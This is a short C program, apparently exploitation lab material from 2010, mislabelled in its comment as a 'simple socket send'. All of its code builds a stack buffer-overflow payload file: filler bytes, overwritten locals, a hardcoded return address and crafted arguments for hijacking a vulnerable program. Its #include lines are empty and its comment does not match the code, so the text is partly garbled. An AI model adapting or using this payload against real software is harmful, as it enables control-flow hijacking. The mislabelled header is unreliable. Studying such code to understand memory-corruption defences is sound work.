/* Simple socket send * Jeff Turkstra, 2010 */ #include #include #include #include #include int main(int argc, char *argv[]) { int fd; long addr; int i; char buf[768]; if (argc != 3) { printf("Usage: %s [file] [offset]\n", argv[0]); return -1; } fd = open(argv[1], O_RDWR|O_CREAT|O_TRUNC, S_IRUSR|S_IWUSR); if (fd <= 0) { perror("open"); return -1; } /* Garbage to fill the buffer */ memset(buf, 0x61, 512); /* Local vars */ memset(buf+512, 0x01, 28); /* Return address */ addr = (long) buf + 512 + 28; *((long *)addr) = 0x6f37f0; /* Args */ addr = (long) buf + 512 + 28 + 8; *((long *)addr) = 0xffffdf10 + atoi(argv[2]); addr = (long) addr + 4; *((long *)addr) = 0x9c9; write(fd, buf, 768); return 0; }